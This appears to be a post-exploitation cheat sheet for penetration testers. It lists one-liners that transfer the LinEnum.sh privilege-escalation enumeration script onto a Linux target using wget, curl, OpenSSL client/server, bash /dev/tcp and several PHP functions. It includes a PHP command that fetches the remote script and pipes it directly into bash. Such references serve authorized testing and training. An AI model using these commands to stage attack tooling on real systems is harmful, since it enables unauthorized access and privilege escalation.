Wget / cURL

#Wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh   

#Curl
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

OpenSSL

OpenSSL is frequently installed.

#Create Certificate 
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem   

#Stand up server
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh   

#Downlaod File
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Bash (/dev/tcp)

as long as bash version 2.04 or greater is installed (compiled with --enable-net-redirections), the built-in /dev/tcp device file can be used for simple file downloads.

#Connect to Target's WebServer
exec 3<>/dev/tcp/<IP>/80

#HTTP GET Request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

#Print The Response
cat <&3

PHP

File_get_contents()

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

Fopen()

php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

Php-curl

If the php-curl module has been installed,

php -r '$rfile = "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"; $lfile = "LinEnum.sh"; $fp = fopen($lfile, "w+"); $ch = curl_init($rfile); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_TIMEOUT, 20); curl_exec($ch);'

#It is also possible to retrieve each line as an array and pipe the output to bash.
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
